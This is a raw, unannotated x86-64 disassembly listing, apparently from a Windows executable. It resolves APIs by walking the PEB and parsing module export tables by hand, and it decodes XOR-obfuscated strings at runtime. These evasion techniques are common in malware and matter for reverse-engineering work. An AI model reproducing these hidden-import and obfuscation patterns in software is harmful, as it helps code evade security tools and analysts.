lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x70]
call fcn.14011c9b0
mov qword [rsp + 0x68], rax
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011774d
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011775c
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r12d
lea r8, [rsp + 0x44]
mov r9, r14
nop
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140117770
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.14011cb00
mov r14, rax
test rax, rax
jne 0x1401177d7
mov r14, r12
jmp 0x140117812
movsx edx, byte [rsp + 0x40]
movd xmm1, edx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
add rax, 0x10
mov ecx, 2
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x140117802
mov byte [r14 + 0x12], cl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], 0
je 0x140117908
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x1401178fa
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x140117905
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140117905
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140117905
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r12d, dword [rax + 0x24]
add r12, r11
xor ecx, ecx
mov r10d, ecx
mov r9d, ecx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1401178fa
nop dword [rax + rax]
xor dl, dl
mov eax, dword [rdi + r9*4]
add rax, r11
cmp byte [rax], dl
je 0x1401178ef
mov r8, r14
sub r8, rax
movzx ecx, byte [rax + r8]
test cl, cl
je 0x1401178eb
cmp byte [rax], cl
jne 0x1401178ef
mov dl, 1
inc rax
cmp byte [rax], 0
jne 0x1401178c3
movzx eax, word [r12 + r9*2]
mov r10d, dword [r15 + rax*4]
add r10, r11
xor r12d, r12d
jmp 0x14011790b
test dl, dl
jne 0x1401178da
inc r10d
inc r9
cmp r10d, ebx
jb 0x1401178b0
cmp qword [rsi + 0x60], 0
jne 0x140117840
xor r12d, r12d
mov r10, r12
lea rax, [rbp + 0x360]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x378]
call r10
mov r8d, dword [rbp + 0x360]
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x10]
call fcn.14001ea30
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x3c0]
call fcn.14001e600
nop
lea rcx, [rbp + 0x10]
call fcn.14001e820
mov r14d, 8
movabs r15, 0x7fffffffffffffff
mov cl, 0x23
mov byte [rsp + 0x40], cl
mov word [rsp + 0x70], 0x2929
xor eax, eax
mov byte [rsp + 0x72], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401179b7
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1401179c6
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r12d
lea r9, [rsp + 0x44]
mov r10, r14
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1401179e0
lea r9d, [r10 + 2]
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x70]
call fcn.14011c9b0
mov qword [rsp + 0x68], rax
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140117a5d
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140117a6c
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r12d
lea r9, [rsp + 0x44]
mov r10, r14
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140117a80
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x140117aeb
mov rdx, r12
jmp 0x140117af9
movzx eax, byte [rsp + 0x40]
xor byte [rdx], al
xor byte [rdx + 1], al
mov byte [rdx + 2], 0
lea rcx, [rbp + 0x3c0]
call fcn.14001e570
nop
lea rcx, [rbp + 0x3e0]
call fcn.14001e820
mov rcx, qword [rbp + 0x370]
call fcn.14005b1a0
cmp eax, 0x64
jne 0x140117b2b
lea edi, [rax - 0x5b]
jmp 0x140116ca0
cmp qword [rbp + 0x3d0], 0
je 0x1401187d1
mov rdx, r13
shl rdx, 5
lea rax, [0x14018e1f0]
add rdx, rax
lea rcx, [rbp - 0x60]
call fcn.14001e730
mov qword [rbp + 0x360], rax
mov r12, rax
cmp qword [rax + 0x18], 0x10
jb 0x140117b67
mov r12, qword [rax]
lea rcx, [rbp + 0x1a0]
call fcn.1400f77a0
mov rcx, rax
call fcn.14001d7f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140117c5a
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140117b92
mov r15d, 0x5a4d
cmp word [r11], r15w
jne 0x140117c52
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140117c52
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140117c52
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140117b92
nop word [rax + rax]
xor dl, dl
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], dl
je 0x140117c41
mov r8, rsi
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x140117c3d
cmp byte [rcx], al
jne 0x140117c41
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140117c12
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x140117c60
test dl, dl
jne 0x140117c29
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140117c00
jmp 0x140117b92
xor r14d, r14d
mov eax, r14d
jmp 0x140117c66
xor r14d, r14d
mov eax, r14d
mov r15d, 0x5a4d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0xffffffff
mov r8, r12
xor edx, edx
mov ecx, 0xfde9
call rax
mov dword [rbp - 0x20], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rbp + 0x58]
call fcn.14001e470
mov dword [rbp - 0x70], 0x18
lea r13, [rbp + 0x58]
cmp qword [rbp + 0x70], 8
cmovae r13, qword [rbp + 0x58]
mov rax, qword [rbp + 0x360]
mov r12, rax
cmp qword [rax + 0x18], 0x10
jb 0x140117cbd
mov r12, qword [rax]
lea rcx, [rbp + 0x1f0]
call fcn.1400f7890
mov rcx, rax
call fcn.14001d7f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140117dca
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140117dad
cmp word [r11], r15w
jne 0x140117dbf
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140117dbf
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140117dbf
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140117dad
nop
xor dl, dl
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], dl
je 0x140117da1
mov r8, rsi
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x140117d9d
cmp byte [rcx], al
jne 0x140117da1
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140117d72
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x140117dcd
test dl, dl
jne 0x140117d89
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140117d60
cmp qword [rdi + 0x60], 0
je 0x140117dc7
mov r15d, 0x5a4d
jmp 0x140117d00
xor r14d, r14d
mov eax, r14d
jmp 0x140117dd3
xor r14d, r14d
mov rax, r14
mov r15d, 0x5a4d
mov ecx, dword [rbp - 0x20]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], r13
mov r9d, 0xffffffff
mov r8, r12
xor edx, edx
mov ecx, 0xfde9
call rax
nop
mov rcx, qword [rbp + 0x360]
call fcn.14001e820
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 8
cmovae rdx, qword [rbp + 0x58]
lea rcx, [rbp + 0x3a0]
call fcn.140102060
nop
mov edi, 8
mov dword [rbp - 0x70], edi
mov rdx, qword [rbp + 0x70]
cmp rdx, rdi
jb 0x140117e60
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140117e5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140118869
call fcn.14012b910
mov qword [rbp + 0x68], r14
mov qword [rbp + 0x70], 7
mov word [rbp + 0x58], r14w
mov eax, 0x55
mov word [rbp + 0xc0], ax
mov dword [rbp + 0xf0], 0x250009
mov dword [rbp + 0xf4], 0x260034
mov dword [rbp + 0xf8], 0x220026
mov dword [rbp + 0xfc], 0x27003a
mov dword [rbp + 0x100], 0x260031
mov dword [rbp + 0x104], 0x78
movsx ebx, al
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140117ed4
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140117ee3
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp + 0xc4]
mov r9, rdi
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140117f00
mov r9d, 0x16
lea r8, [rbp + 0xc4]
lea rdx, [rbp + 0xf0]
call fcn.14011c9b0
mov qword [rbp + 0xe8], rax
movsx ebx, byte [rbp + 0xc0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140117f83
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140117f92
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0xc4]
mov r10, rdi
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140117fb0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xc4]
mov rdx, qword [rbp + 0xe8]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x14011801f
mov rdx, r14
jmp 0x140118056
movzx eax, word [rbp + 0xc0]
xor word [rdx], ax
xor word [rdx + 2], ax
xor word [rdx + 4], ax
xor word [rdx + 6], ax
xor word [rdx + 8], ax
xor word [rdx + 0xa], ax
xor word [rdx + 0xc], ax
xor word [rdx + 0xe], ax
xor word [rdx + 0x10], ax
xor word [rdx + 0x12], ax
xor word [rdx + 0x14], ax
mov word [rdx + 0x16], r14w
lea rcx, [rbp + 0x180]
call fcn.140102060
mov r9, rax
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140118073
mov r9, qword [rax]
mov rcx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3b8]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x1401180c1
lea rdi, [rcx + rdx]
mov qword [rbp + 0x3b0], rdi
lea rbx, [rbp + 0x3a0]
cmp r8, 8
cmovae rbx, qword [rbp + 0x3a0]
lea rcx, [rbx + rcx*2]
lea r8, [rdx + rdx]
mov rdx, r9
call fcn.14012dc00
mov word [rbx + rdi*2], r14w
jmp 0x1401180d3
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x3a0]
call fcn.14011c5e0
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 8
jb 0x140118119
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140118114
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14011886f
call fcn.14012b910
mov rax, qword [rbp - 0x18]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14011812a
mov rdx, qword [rax]
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], 0xf
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140118141
lea rcx, [rbp + 0x30]
call fcn.14001ea30
lea rax, [rbp + 0x30]
mov qword [rbp + 0x360], rax
lea r12, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae r12, qword [rbp + 0x30]
lea rcx, [rbp + 0x240]
call fcn.1400f77a0
mov rcx, rax
call fcn.14001d7f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14011827e
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140118261
cmp word [r11], r15w
jne 0x140118273
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140118273
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140118273
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor ecx, ecx
mov r10d, ecx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140118261
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140118255
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140118250
cmp byte [rcx], al
jne 0x140118255
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140118225
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x140118281
test r8b, r8b
jne 0x14011823c
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140118211
cmp qword [rdi + 0x60], 0
je 0x14011827b
mov r15d, 0x5a4d
jmp 0x1401181b0
xor r14d, r14d
mov eax, r14d
jmp 0x140118287
xor r14d, r14d
mov rax, r14
mov r15d, 0x5a4d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0xffffffff
mov r8, r12
xor edx, edx
mov ecx, 0xfde9
call rax
mov dword [rbp - 0x20], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rbp - 0x10]
call fcn.14001e470
mov dword [rbp - 0x70], 0x28
lea r12, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae r12, qword [rbp - 0x10]
lea r13, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae r13, qword [rbp + 0x30]
lea rcx, [rbp + 0x290]
call fcn.1400f7890
mov rcx, rax
call fcn.14001d7f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1401183d3
nop
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1401183be
cmp word [r11], r15w
jne 0x1401183d0
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1401183d0
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1401183d0
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor ecx, ecx
mov r10d, ecx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1401183be
xor dl, dl
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], dl
je 0x1401183b2
mov r8, rsi
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x1401183ae
cmp byte [rcx], al
jne 0x1401183b2
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x140118383
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x1401183d6
test dl, dl
jne 0x14011839a
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140118371
cmp qword [rdi + 0x60], 0
je 0x1401183d0
mov r15d, 0x5a4d
jmp 0x140118310
xor r14d, r14d
mov rax, r14
mov edx, dword [rbp - 0x20]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], r12
mov r9d, 0xffffffff
mov r8, r13
xor edx, edx
mov ecx, 0xfde9
call rax
nop
lea rcx, [rbp + 0x30]
call fcn.14001e820
mov rdi, qword [rbp]
lea r9, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae r9, qword [rbp - 0x10]
mov rsi, qword [rbp + 0x3b0]
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x140118462
lea rax, [rsi + rdi]
mov qword [rbp + 0x3b0], rax
lea rbx, [rbp + 0x3a0]
cmp rcx, 8
cmovae rbx, qword [rbp + 0x3a0]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call fcn.14012dc00
lea rax, [rdi + rsi]
mov word [rbx + rax*2], r14w
jmp 0x140118477
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp + 0x3a0]
call fcn.14011c5e0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x1401184b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401184b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140118875
call fcn.14012b910
mov eax, 0x70
mov word [rbp + 0x120], ax
mov dword [rbp + 0x150], 0x4005e
lea edi, [rax - 0x68]
mov dword [rbp + 0x154], 0x40008
xor eax, eax
mov word [rbp + 0x158], ax
movsx ebx, byte [rbp + 0x120]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140118500
lea edx, [rdi + 0x7c]
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011850f
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp + 0x124]
mov r9, rdi
nop dword [rax]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140118530
mov r9d, edi
lea r8, [rbp + 0x124]
lea rdx, [rbp + 0x150]
call fcn.14011c9b0
mov qword [rbp + 0x148], rax
movsx ebx, byte [rbp + 0x120]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401185b0
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1401185bf
mov edx, 0x9d
call fcn.140128630
imul r9d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp + 0x124]
mov eax, r9d
shr eax, 0x18
xor eax, r9d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub rdi, 1
jne 0x1401185d0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x124]
mov rdx, qword [rbp + 0x148]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x14011863b
mov rdx, r14
jmp 0x140118656
movzx eax, word [rbp + 0x120]
xor word [rdx], ax
xor word [rdx + 2], ax
xor word [rdx + 4], ax
xor word [rdx + 6], ax
mov word [rdx + 8], r14w
lea rcx, [rbp + 0x160]
call fcn.140102060
mov r9, rax
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140118673
mov r9, qword [rax]
mov rcx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3b8]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x1401186c1
lea rdi, [rcx + rdx]
mov qword [rbp + 0x3b0], rdi
lea rbx, [rbp + 0x3a0]
cmp r8, 8
cmovae rbx, qword [rbp + 0x3a0]
lea rcx, [rbx + rcx*2]
lea r8, [rdx + rdx]
mov rdx, r9
call fcn.14012dc00
mov word [rbx + rdi*2], r14w
jmp 0x1401186d3
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x3a0]
call fcn.14011c5e0
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 8
jb 0x140118719
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140118714
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14011887b
call fcn.14012b910
lea r8, [rbp + 0x3c0]
cmp qword [rbp + 0x3d8], 0x10
cmovae r8, qword [rbp + 0x3c0]
lea rax, [rbp + 0x3a0]
mov rcx, qword [rbp + 0x3a0]
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 8
cmovae rax, rcx
mov r10, qword [rbp + 0x110]
test r10, r10
jne 0x140118760
mov eax, 0x10000
jmp 0x140118796
cmp dword [r10], 2
je 0x14011876d
mov eax, 0x80000
jmp 0x140118796
mov dword [rsp + 0x20], 3
mov r9d, dword [rbp + 0x3d0]
mov rdx, rax
mov rcx, qword [r10 + 8]
call fcn.140125e10
mov rdx, qword [rbp + 0x3b8]
mov rcx, qword [rbp + 0x3a0]
mov dword [0x14018df3c], eax
cmp rdx, 8
jb 0x1401187d1
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401187cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14011883f
call fcn.14012b910
nop
lea rcx, [rbp + 0x400]
call fcn.14001e820
nop
lea rcx, [rbp + 0x3c0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x420]
call fcn.14001e820
nop
mov rcx, qword [rbp + 0x78]
call fcn.14001e820
nop
mov rcx, qword [rbp + 0x50]
call fcn.14001e820
nop
mov rcx, qword [rbp - 0x18]
call fcn.14001e820
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.14012b8f0
mov rbx, qword [rsp + 0x590]
add rsp, 0x550
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140133e80
nop
call fcn.140133e80
int3
call fcn.140005870
int3
call fcn.140133e80
int3
call fcn.140005870
nop
call fcn.140133e80
int3
call fcn.140005870
nop
call fcn.140133e80
int3
call fcn.140133e80
int3
call fcn.140133e80
int3
call fcn.140133e80
int3